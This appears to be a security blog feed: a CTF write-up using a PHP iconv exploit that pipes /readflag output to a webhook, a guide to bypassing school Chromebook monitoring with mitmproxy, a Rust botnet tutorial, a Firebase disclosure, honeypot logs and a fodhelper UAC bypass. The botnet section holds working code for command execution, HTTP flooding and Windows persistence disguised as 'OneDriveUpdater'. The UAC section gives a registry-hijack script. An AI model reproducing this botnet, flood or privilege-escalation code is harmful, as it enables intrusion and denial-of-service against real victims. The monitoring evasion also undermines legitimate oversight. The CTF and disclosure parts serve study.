0xNote is a challenge I played during 0xL4ugh CTF 2025, which itself was a lot of fun! Playing with b01lers up to this point has taught me a lot, so I decided to shoot for the stars, and I landed at 0xNote.
0xNote is a web challenge taking the form of a simple note taking app, a user logs in, grabs a session, and is able to make write notes on the page. The flag is stored in a text file, /flag.txt within the container, however this file does not give read permissions to the nobody group, which server runs in.
Instead, a readflag binary is provided which is able to read flag contents and send them to stdout, making its execution the main target of our exploit.
Reviewing the server’s PHP gives us some initial entry points. First, lets take a look at index.html. More specifically, how notes are rendered.
<div class="note-display">
<h3>Your Note</h3>
<div class="note-content" id="noteContent">
<?= new $_SESSION["color"]($_SESSION["note"]) ?>
</div>
</div>
Here we see we instance the session color with an argument of the note text. If you are familiar with PHP, the issue should be sticking out at you: if we can control what class $_SESSION["color"] is, we can pass whatever single argument we want with the $_SESSION["note"] value, which we control by creating a note.
So, how can we control the session’s color class?
Looking at premium.php, we see an endpoint for changing the color via a POST request. So we can just hit that right? Well not immediately. The server lives behind a reverse proxy, nginx, with the following rule:
server {
listen 80;
index index.php index.html;
location = /premium.php {
deny all;
}
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ ^(/.*\.php)$ {
root /var/www/html;
include fastcgi_params;
fastcgi_pass php-fpm:9000;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_index index.php;
}
}
So we can’t hit /premium.php directly, but notice the rule is a hard block. If we can craft a path that avoids the specific block to /premium.php, but still has nginx forward requests to it, we should be good. Turns out, it’s very simple, as I was able to send requests to /premium.php/x.php, which fits the regex and routes to premium.php.
Now that we have a method for running a class constructor with any argument, how can we use that to get the flag?
SplFileObject is a PHP class which opens a file and returns the first line. You can use a series of wrappers to extract a whole file as well by encoding the file opened into Base64.
Knowing this, I played around a bit. I could open sessions in the /tmp directory, I could see the contents of the readflag binary, but not execute it.
If we have arbitrary file read with SplFileObject, how can we get to RCE? I spent a long time playing with phar, but as a teammate more familiar with PHP pointed out to me, this route is very unlikely on PHP 8.
What can we do?
As my limited ideas with PHP kept falling apart, I turned to the internet to solve my problem. Mainly, I was hoping to find some CVE for this version of PHP that may relate to the current knowledge I have of the challenge, and as it turns out, there is.
CVE-2024-2961 - A buffer overflow exploit for glibc’s iconv.
Coincidentally, its well known how this affects PHP, especially when arbitrary reads with wrappers are available.
Finally, I found a great repo cnext-exploits which did most of the heavy lifting for me.
Running this without modification will not work, however. I had to write my own remote class and patch a few lines to match the situation of the challenge.
class Remote:
def __init__(self, url: str) -> None:
self.url = url.rstrip('/')
self.session = requests.Session()
self._setup_session()
def _setup_session(self):
user = f"cnext_{random.randint(10000, 99999)}"
self.session.post(f"{self.url}/register.php",
data={"username": user, "password": "test"},
allow_redirects=False)
self.session.post(f"{self.url}/login.php",
data={"username": user, "password": "test"},
allow_redirects=False)
msg_info(f"Session created as [i]{user}[/]")
def send(self, path: str):
self.session.post(f"{self.url}/premium.php/x.php",
data={"color": "SplFileObject"})
self.session.post(f"{self.url}/index.php",
data={"note": path})
r = self.session.get(f"{self.url}/index.php")
return r
def download(self, path: str) -> bytes:
filter_path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(filter_path)
match = re.search(
r'<div class="note-content"[^>]*>(.*?)</div>', response.text, re.DOTALL)
if not match:
return b""
content = match.group(1).strip()
content = content.replace("<", "<").replace(">", ">")
content = content.replace("&", "&").replace(""", '"')
try:
return b64_module.b64decode(content)
except:
return content.encode('latin-1')
Then, the original test of exploitation does not match the same format the challenge will return with our custom Remote class, so I also had to patch the check_vulnerable function.
def check_vulnerable(self) -> None:
# Skip data:// test - SplFileObject can't read it directly
# But php://filter/...resource=data:... DOES work
# Just test basic file read
passwd = self.remote.download("/etc/passwd")
if b"root:" not in passwd:
failure("Cannot read /etc/passwd")
# Test iconv charset availability
self.remote.send("php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=/etc/passwd")
Finally, I was able to /readflag | curl to my webhook.
Fun challenge!
I was able to secure the second solve on this challenge, and by the end of the CTF, there were only 8 solves on it.
I’m pretty happy with this, especially as a newer player on b01lers, so I’m hoping this will give me some good knowledge for the future!
]]>I could no longer browse CS:GO cases at school. I couldn’t watch my YouTube, couldn’t read my docs, and couldn’t even play Minecraft.
Deledao is a school-focused solution designed to manage and monitor student Chromebooks. The software broadcasts the current tabs to a server, where some AI algorithm determines whether or not the page should be allowed. Every image is blurred; everything is visible.
After Deledao finishes showing your every move, your teacher can enforce browser blocks through a Chrome extension installed on the laptop.
It also ensured the blocking of anything related to LGBTQ issues, which I believe was a manual school filter.
My school spent thousands on this software, but I was able to bypass it within a few days. Now that I have safely graduated, I will show you how to do the same.
Deledao sends REST API requests to a backend server periodically, which then receives a response indicating whether the request can be displayed. It scans all text, all images, and all video to ensure it is “safe.”
Admins are provided with a local network IP address so that the Chromebook screen can be streamed efficiently to the admin’s PC.
This will not be technical. I’m trying to make this as easy as possible to replicate, with no technical knowledge required.
With no server authentication, the solution should be obvious: all you must do is proxy out the responses to the backend, and you’re done. You can also, as I figured out later, spoof fake requests through your proxy to change the computer that your screen is viewing; i.e., my screen appears to be normal, but it’s my friend’s in reality. (Remember the local IP included in the request?)
The specifics of what to do from here are simple: download mitmproxy. This tool serves as an HTTPS proxy that is easily scriptable, making it ideal for our use case.
Find a computer to run during school, download mitmproxy, and run the following command: mitmproxy --set block_global=false --set intercept=deledao --set listen_port=8080. This will allow for connections outside your local network and intercept all requests made to Deledao.
Next, port forward this local machine in your router config. There is no single way to do this, as all routers implement it slightly differently, so you may need to consult the documentation for your specific router. Once you get there, you need the LOCAL IP ADDRESS of your mitmproxy computer. Look this up as well; it’s dependent on your OS. Once you know how to port forward and the local IP address, create a port forwarding rule to that local IP at port 8080. Some, if not all, routers allow you to select two different ports. For simplicity, put 8080 for both of these values.
The port being 8080 is not required. I just chose it when I set mine up. If, for some reason, you need to use a different port, ensure you change the listen_port option in the above command.
Once you have a proxy server set up and running, determine your home’s public IP address and remember the port number you are using.
The setup of a proxy may differ depending on your school’s Chromebook policy. Mine would not allow a proxy config on the official network, but luckily, it would allow it on a VPN connection or a phone hotspot connection.
If you are technical, set up an OpenVPN docker container. This means you can avoid using phone data. This, of course, also means your proxy IP will change back to the local address on the VPN. Alternatively, find a free server config online.
Next, navigate to mitm.it in your browser. This will let you download the root certificate for HTTPS communications.
Note: This will allow the host of mitmproxy to see all communications, even over HTTPS. Use with caution!
This is useful for scripts that target specific parts of the requests to Deledao, but it can also cause breaches of privacy.
Look up the procedure for adding a new certificate authority to a Chromebook, as it varies by device and version.
Now you’re done! This method works as long as your server is active. I was fortunate to have my own server at home, which I use to host various things, allowing me to quickly open a port and keep it running constantly.
]]>A botnet, if you didn’t know, is really just a network of computers controlled by some other computer/computers. This network can be used for many things, but in this article we will design a classic malicious botnet to run commands on victim machines (think DDoS, Bitcoin mining, etc). In this tutorial, I will create a botnet with a really easy server/client model, where every infected machine reports to one central server for commands. Sounds easy enough, right?
All the code in this tutorial assumes that you are semi-competent at Rust. There is nothing crazy or too out there, but you should be familiar with the Tokio RunTime and Async.
TCP or UDP is the big question when it comes to networking. I prefer TCP over UDP for these applications for several reasons, and it typically has to do with the client. Some operating systems and configurations require special firewall permissions to get a UDP socket, while acting as the client in a TCP connection does not require any special configuration. This means that an infected machine can easily get a connection back to our evil host!
We will start with some work on the host machine, creating a TcpListener to open up a socket and start listening for connections.
// Keep in mind, we are using the tokio runtime here, so get your tokio imports down.
use std::error::Error;
use tokio::net::{TcpListener, TcpStream};
#[tokio::main]
async fn main() -> Result<(), Box<dyn Error>> {
let listener = TcpListener::bind("0.0.0.0:8080").await? // Get a TcpListener on port 8080
loop {
let (socket, _) = listener.accept().await?;
tokio::spawn(async move{
handle_conn(socket).await;
});
}
}Notice a few quick things here: we have a function to handle our connection, and we ignoring something when we destructure into socket. We are ignoring the peer SockAddr.
For those unfamiliar with Tokio or Rust networking, this creates a new task in parallel for every new connection.
Now, let’s make a function to handle a TcpStream. We will be using 1024 byte buffers for messages between the server and client. This stipulation is important for later when we get to control server authentication.
async fn handle_conn(mut stream: TcpStream) {
let (mut reader, mut writer) = stream.split();
let mut buf = vec![0u8; 1024];
let n = reader.read(&mut buf).await.expect("Failed to read from reader");
// Remember, this function is being ran in a tokio task.
// When a pask panic!s, the task just ends and causes no issues.
// So we don't worry about good error handling that much.
println!("Recieved from client: {}", String::from_utf8_lossy(&buf[..]));
// Now a little bit of work to ensure that our message is always 1024 bytes.
// The message being sent, the command, will be set as a command line argument.
// So that we can easily deploy an action with just notbotcontrol "do whatever" in the terminal.
// Sets all bytes in buf to 0 again
for (index, val) in buf.iter_mut().enumerate() {
*val = 0;
}
// Sets the buffer with the arg (dont worry about
// the actual cl argument yet, we will get there later.)
let arg = String::from("My command!");
arg.into_bytes().iter().enumerate().for_each(|index, &val| {
buf[index] = val;
});
writer.write_all(&buf[..]).await.expect("Writer Failed");
writer.shutdown().await;
}Here we have a basic TCP server set up, taking in a message and responding with its own. Perfect!
Now let’s get to the client.
A feature we will for sure need in our client is the ability to continiously connect to a server. With our current model, the server is not continuously running, rather it is just responding when up. For this, let’s make a helper function to always attempt for a connection.
use tokio::time::{sleep, Duration};
use tokio::net::TcpStream;
const CONTROL: &str = "127.0.0.1:8080"; // Ip of control server
// We will talk about covering this trail later.
async fn get*stream() -> TcpStream {
loop {
match TcpStream::connect(CONTROL).await {
Ok(s) => return s,
Err(*) => {
sleep(Duration::from_millis(5000)).await;
}
}
}
}The principal is pretty simple: if we get a stream return it, if not we sleep for 5 seconds and try again until we do get it.
Let’s get a message.
#[tokio::main]
async fn main() {
// Start a communication loop
loop {
sleep(Duration::from_millis(5000)).await;
let mut stream = get_stream().await;
let (mut reader, mut writer) = stream.split();
// Every time we use a reader or writer, we need to check for an error
// that prompts us to reconnect to the control server.
if let Err(_) = writer.write_all(b"Hello!").await {
let _ = writer.shutdown().await;
continue;
}
let mut buf = vec![0u8; 1024];
// Message
let message_length = match reader.read_exact(&mut buf).await {
Ok(n) => n,
Err(_) => {
let _ = writer.shutdown().await;
continue;
}
};
println!("Message from server: {}", String::from_utf8_lossy(&buf[..]));
}
}Just like that, we have communication between server and client. Before we move on, let’s make a refactor to the server that allows for the passing of command-line arguments to the threads.
use std::error::Error;
use tokio::net::{TcpListener, TcpStream};
use std::sync::{Arc, Mutex};
#[tokio::main]
async fn main() -> Result<(), Box<dyn Error>> {
let listener = TcpListener::bind("0.0.0.0:8080").await?; // Get a TcpListener on port 8080
let args: Arc<Mutex<Vec<String>>> = Arc::new(Mutex::new(std::env::args().collect()));
loop {
let (socket, _) = listener.accept().await?;
let a = Arc::clone(&args);
tokio::spawn(async move{
handle_conn(socket, a).await;
});
}
}
async fn handle_conn(mut stream: TcpStream, args: Arc<Mutex<Vec<String>>>) {
let (mut reader, mut writer) = stream.split();
let mut buf = vec![0u8; 1024];
let n = reader.read(&mut buf).await.expect("Failed to read from reader");
println!("Recieved from client: {}", String::from_utf8_lossy(&buf[..]));
for (index, val) in buf.iter_mut().enumerate() {
*val = 0;
}
let arg;
{
arg = args.lock().unwrap().get(1).expect("No Args").clone();
}
arg.into_bytes().iter().enumerate().for_each(|index, &val| {
buf[index] = val;
});
writer.write_all(&buf[..]).await.expect("Writer Failed");
writer.shutdown().await;
}There are obviously alternatives to this solution, this is just how I am implementing this in the case that I want to use more args in the future without always cloning. Do what you want for this.
We have a solid channel set up for communications, but how do we ensure that messages being sent to the network areactually from you? It could be pretty bad if just anyone could tell your botnet to do something, so we need some form of authentication from the server to the client. There are some requirements when it comes to authentication here, mainly a client should be able to verify a message is from the legitimate control server, while not being given enough information to impersonate the control server.
RSA is our answer. For those completely unfamiliar, RSA is an asymmetric encyption scheme, meaning that a private key and public key cannot work interchangably. A private key (kept private) is used to encrypt and a public key is used to decrypt or vice versa. Importantly, the private key must be private because a valid public key can be generated from a private key, and the same is not true the other way around. What is my whole point? We can verify a message senders integrity if they sign a message with the private key which we know only they have.
This method of verifying sender integrity is called signing a message. The specifics don’t matter that much to use because there is a very nice RSA crate in Rust that we can use. Let’s start with the server.
Small detail, you will need to generate a pkcs1 PEM to use here. This can be done on websites, openssl, or some script made to do this.
// Pretend we have all of the other stuff we have done.
// Starting at main so we can pass the private key to all
// the connection tasks.
use rsa::pkcs1v15::{SigningKey, Signature};
use rsa::RsaPrivateKey;
use rsa::signature::{RandomizedSigner, SignatureEncoding, Verifier};
use rsa::sha2::{Digest, Sha256};
use rsa::pkcs1::DecodeRsaPrivateKey;
use rand; // HUGE IMPORTANT NOTE! You need rand version 0.8.0
// For this to work.
const PRIVATE_PEM: &str = "Key";
#[tokio::main]
async fn main() -> Result<(), Box<dyn Error>> {
let listener = TcpListener::bind("0.0.0.0:8080").await?; // Get a TcpListener on port 8080
let args: Arc<Mutex<Vec<String>>> = Arc::new(Mutex::new(std::env::args().collect()));
let private_key = RsaPrivateKey::from_pkcs1_pem(PRIVATE_PEM).expect("Could not get private key");
let signing_key: Arc<Mutex<SigningKey<Sha256>>> = Arc::new(Mutex::new(SigningKey::<Sha256>::new(private_key)));
loop {
let (socket, _) = listener.accept().await?;
let a = Arc::clone(&args);
let s = Arc::clone(&signing_key);
tokio::spawn(async move{
handle_conn(socket, a, s).await;
});
}
}
async fn handle_conn(mut stream: TcpStream, args: Arc<Mutex<Vec<String>>>, signing_key: Arc<Mutex<SigningKey<Sha256>>>) {
let (mut reader, mut writer) = stream.split();
let mut buf = vec![0u8; 1024];
let n = reader.read(&mut buf).await.expect("Failed to read from reader");
println!("Recieved from client: {}", String::from_utf8_lossy(&buf[..]));
for (index, val) in buf.iter_mut().enumerate() {
*val = 0;
}
let arg;
{
arg = args.lock().unwrap().get(1).expect("No Args").clone();
}
arg.into_bytes().iter().enumerate().for_each(|index, &val| {
buf[index] = val;
});
let signed_message;
{
let signing_key = signing_key.lock().unwrap();
let mut rng = rand::thread_rng();
signed_message = signing_key.sign_with_rng(&mut rng, &buf[..]).to_bytes();
}
writer.write_all(&buf[..]).await.expect("Writer Failed");
writer.write_all(&signed_message[..]).await.expect("Writer Failed");
writer.shutdown().await;
}If you’re observant, you might now understand why it’s a good idea to set a fixed amount of bytes to be sent over the wire. Because a socket really just acts like a file, a single call to read on the client could read the message AND the signature! This would of course cause problems. With our current design, we know that the clear-text is 1024 bytes and the signature is 256 bytes (a feature of hashing with Sha256), stopping this annoying bug.
Let’s verify the message on the client.
// Everything else is the same, added changes.
use rsa::pkcs1::DecodeRsaPublicKey;
use rsa::pkcs1v15::{Signature, VerifyingKey};
use rsa::sha2::Sha256;
use rsa::signature::Verifier;
use rsa::RsaPublicKey;
const PUBLIC_PEM: &str = "Key";
#[tokio::main]
async fn main() {
let public_key = RsaPublicKey::from_pkcs1_pem(PUBLIC_PEM).unwrap();
let verify_key = VerifyingKey::<Sha256>::new(public_key);
loop {
sleep(Duration::from_millis(5000)).await;
let mut stream = get_stream().await;
let (mut reader, mut writer) = stream.split();
if let Err(_) = writer.write_all(b"Hello!").await {
let _ = writer.shutdown().await;
continue;
}
let mut buf = vec![0u8; 1024];
// Message
let message_length = match reader.read_exact(&mut buf).await {
Ok(n) => n,
Err(_) => {
let _ = writer.shutdown().await;
continue;
}
};
// Signed Message
let mut signature_buf = vec![0u8; 256];
if let Err(_) = reader.read(&mut signature_buf).await {
let _ = writer.shutdown().await;
}
// Get Signature struct
let signature =
Signature::try_from(&signature_buf[..]).expect("Failed to get signature from bytes"); // Important that this buf is 256 bytes!
// Compare hashes!
if let Err(e) = verify_key.verify(&buf[..message_length], &signature) {
eprintln!("{}", e);
continue;
}
let command = match String::from_utf8(buf) {
Ok(c) => c,
Err(_) => continue,
};
let command = command.trim_matches(char::from(0)); // Our final message, assuming it was validated!
}
}When I first started making this, I had huge problems with signing because I was signing empty bytes and then verifying against a message without those empty bytes at the end. If you try something different and get verification errors, make sure you are trying to verify the exact same bytes.
You are probably noticing how messy this main function is getting. Feel free to clean it up, but this will be the last of the clutter. Executing commands will be delegated to its own function and the commands themselves will be functions in a seperate module.
If you have your own ideas for this, this is where you can drop off. You have a system for distributing commands as a string to your clients, go wild. If you want the way I’m doing this, stick around. Also, everything from now on will be focused on the client. Make the server as fancy as you want but that’s where I’m stopping for now.
Let’s make a function to handle a command.
pub mod commands;
async fn handle_command(command: &str) {
let (command, args) = match command.split_once(" ") {
Some((c, a)) => (c, a),
None => (&command[..], ""),
};
// I keep the args as a string slice so that I can choose to use custom syntax for commands later
// Do what you want here
match command {
"cmd" => {
println!("Command running!");
if cfg!(target_os = "windows") {
Command::new("cmd")
.args(["/C", args])
.spawn()
.expect("Command err");
} else {
Command::new("sh")
.arg("-c")
.arg(args)
.spawn()
.expect("Command err");
}
}
"httpddos" => {
let mut args = args.split(" ");
let url = match args.next() {
Some(u) => u.to_string(),
None => return, // need url
};
let duration = match args.next() {
Some(d) => Duration::from_secs(d.parse().unwrap_or(300)),
None => return,
};
commands::ddos(url, duration).await;
}
&_ => (),
}
}What I’m doing here is very simple, I match the command and do what I want to with the args.
Here is the commands.rs module.
use reqwest;
use std::sync::{Arc, Mutex};
use tokio::time::{sleep, Duration};
pub async fn ddos(url: String, time: Duration) {
let mut tasks = Vec::new();
let url = Arc::new(Mutex::new(url));
for _ in 1..100 {
let u = Arc::clone(&url);
let t = tokio::spawn(async move {
let client = reqwest::Client::new();
let url: String = { u.lock().unwrap().clone() };
loop {
let _ = client.get(&url).send().await;
}
});
tasks.push(t);
}
let _ = tokio::spawn(async move {
sleep(time).await;
tasks.iter().for_each(|task| {
task.abort();
});
});
}You should now see how you can implement your own commands!
I tend to target Windows machines when I make these projects, and while this will compile and run and any sort of machine that Rust can compile to, I added features that allow this to infect Windows machines and conditonal compilation. For this, I made a function to use for Windows.
#[cfg(target_os = "windows")]
use winreg::enums::\*; #[cfg(target_os = "windows")]
use winreg::RegKey;
async fn get_persistence() {
if cfg!(target_os = "windows") {
// Makes an autostart registry key
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let path = Path::new("Software")
.join("Microsoft")
.join("Windows")
.join("CurrentVersion")
.join("Run");
let (key, \_disp) = hkcu.create_subkey(&path).unwrap();
let name;
if let Some(n) = env::args().next() {
name = n;
} else {
return;
}
let userdirs;
if let Some(u) = UserDirs::new() {
userdirs = u;
} else {
eprintln!("Failed to get userdir");
return;
}
let mut newdir = userdirs.home_dir().join("onedrivedaemon");
newdir.set_extension("exe");
let _ = std::fs::copy(&name, &newdir);
let os_string = newdir.into_os_string();
if let Err(_) = key.set_value("OneDriveUpdater", &os_string) {
return;
}
}
}This simply copies the file to a new name in the user AppData, and then adds it to the autorun registry key. Perfect!
This project is obviously far from complete! There are many edge cases and things you would want to implement for an actual botnet! However, this is a solid base. Things I would target next would be efficiency, server detection evasion, and probably something more I’m not thinking of.
]]>Recently, I found several vulnerabilities in a piece of software I use almost every day which granted me full access over critical infrastructure. This software acted as a pass monitoring service that did attendance, student services, and hall passes. The company itself provides this service to several different organizations that were all vulnerable to the same attack.
They set up their Firebase wrong. This, as you will come to learn, as a fairly common vulnerability which gives extreme degrees of control over an application.
Near the end, I found I could set the global quote of the day, change the appearance of the site, assign passes of any length to anyone, and scrape the sensitive data of their users.
Detecting Firebase is as easy as taking a deeper look with a tool like BurpSuite. It becomes immediately obvious through the WebSocket created that Firebase is in use. These websocket requests then provide interesting information about database routes and authentication.
I found that JSON objects were stored at specific endpoints and this is how informatiom was maintained throughout the entire service.
Also, the website did utilize an authorization key to make database requests. Specifically, it used Google’s auth to generate access and ID tokens (this will be important later).
Well, Firebase conveniently provides a REST API that can be used to make database changes, provided that you have the proper authentication. Knowing this, I decided to fire off a PUT request to an endpoint designed for tracking school hall passes, and created my own 6 hour long pass. To my delight, it had worked. There was no validation for length of time, or the person, or anything else about the request.
While that is technically not bad Firebase, the next vulnerabilites are. With more scanning, I found that the database used a QOTD endpoint to recieve the quote of the day to display to every user on the platform. Naturally I fired off another PUT request to this endpoint, and to my horror, it let me change it! I, for the record, immediately reversed this change.
Some people in the know might be asking: how are we getting auth tokens? That is a good question. The token is only set to live for 3600 seconds once generated and the only way I knew how to generate a token was to intercept one with BurpSuite, or to look in browser local storage. This is where the refresh token comes in.
After prodding around the JS and finding their Firebase API key, I was able to make a POST request to securetoken.googleapis.com/v1/token?key=THEIR API KEY, with my refresh token. A refresh token, for those unaware, does last forever. With this, exploitation became very easy. I was able to pretty much read whatever data I wanted, and I could have likely destroyed or defaced the service.
Fun fact: I’ve actually never used Firebase for my own projects before. I pretty much scrapped together all the knowledge I needed for exploiting this on the fly and it worked out. However what I do know is possible is deeper authentication on specific endpoints. This could easily be fixed by creating some sort of administrator token to be used for most of the endpoints.
For the “changing values of your own passes” deal, some verification of the values being sent to the backend would mitigate further attacks.
I reported all of this immediately to the company in question.
]]>Well, I recently started the process of learning (relearningish) Rust! In doing that, I elected to make some tools to flex my wings and to get used to the difficulty of a language like Rust.
So, I made EasyPot! It’s a neat little tool that logs information about incoming data on TCP ports. Like many of you are aware, malicious actors enlist many different tools to find cracks in router configuration (like open ports!) to then exploit.
This tool, like a few others, serves as a honeypot, or it captures and logs these malicious attempts on open ports.
I had never really looked into stuff like this and I was not entirely sure what to expect. During my development of GuShell, I did notice every now and then that my listener would pick up rogue requests to port 3000, so I was expecting something…
I got a lot more than I expected, and logged hundreds of requests scanning my network for vulnerable services on open ports. One of my favorite attackers scanned port 666 tens of times for different bad services ~
Port: 666 Remote IP: 45.79.114.123:44316
[
"GET / HTTP/1.0",
]
Port: 666 Remote IP: 45.79.114.123:44318
[
"OPTIONS / HTTP/1.0",
]
Port: 666 Remote IP: 45.79.114.123:44326
[
"OPTIONS / RTSP/1.0",
]
Port: 666 Remote IP: 45.79.114.123:44336
[
"Bad data, likely a port scanner.",
]
Port: 666 Remote IP: 45.79.114.123:42850
[
"Bad data, likely a port scanner.",
]
Port: 666 Remote IP: 45.79.114.123:42858
[
"Bad data, likely a port scanner.",
]
Port: 666 Remote IP: 45.79.114.123:42860
[
"HELP",
"Bad data, likely a port scanner.",
]As you can see, this guy was going for it! FYI, the “bad data” line isn’t actually bad data, it is the standin I have Rust using when it can’t parse the data into some sort of UTF-8 string. In other words, it is just targeting services with different encodings (maybe).
There were a shocking amount of these requests, having logged over 1000! Moral of the story is to ensure that your router does not have random machines port forwarded: keep everything closed!
In the future, I think that I will send fake version responses back to capture the method of attack being used.
(P.S.) You can report these IP addresses! Almost all of them are widely known in some database for being malicious actors, with many others reporting them for filtering purposes.
]]>Back in the olden days, people loved to walk right past UAC with Registry Key Manipulation and fodhelper.exe. In short, fodhelper.exe will run processes with the highest elevation that are designated in the reg key HKCU:\Software\Classes\ms-settings\Shell\Open\command, in the (default) value, if the DelegateExecute value is set. This is obviously pretty bad for UAC and since then Microsoft has been hard at work (not really) trying to solve this problem.
After various security updates, times are different now. If you attempt to do the same thing now with a simple PowerShell script, Defender blows up, closes the calling process, and even resets our registry keys to default, quite a shame.
Here is a sample script that does this. (Remember this, it’s important later 😉)
[String]$maliciousExePath = "C:\whatever"
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $maliciousExePath -Force
Start-Process "C:\Windows\System32\fodhelper.exe"Playing around with this technique, even in its broken state, I found some fun stuff. Maybe you as the reader can figure out where I’m going with this:
While working with the bypass technique, the time window stuck out as the easiest thing to take advantage of. I noticed that while the process I opened with the basic technique was almost instantly killed, I noticed that it was still able to perform some high-level functions in the short time window that it had. I naturally had the idea that while the high-level process might be killed almost instantly, what happens to child processes, or process spawned in admin context with system?
The answer is: absolutely nothing! They are created as high-integrity, even!
DelegateExecute.Here is an example process that can elevate itself with a little left out for the reader to enjoy themselves. It uses arguments to open itself when called from fodhelper.exe.
int main(int argc, char \* argv[]) {
if(argc == 2) {
system("Directory to self..."); // Opens self when there is an argument.
}
// Open and change reg keys with some method, maybe system(), or RegSetValueExW or many other methods.
// I set the default to "dir..sample.exe arg", to trigger the self replication on admin.
// Windows is angry, elevate now!
system("fodhelper.exe")
// Process is dead here normally, but the new process is high-integrity and stays alive!
// Administrator functions...
}It is kind of easy, just set the UAC settings to ALWAYS ASK! For some reason, Windows does not normally do this and it definitely should. This setting will stop this bypass in its tracks!
]]>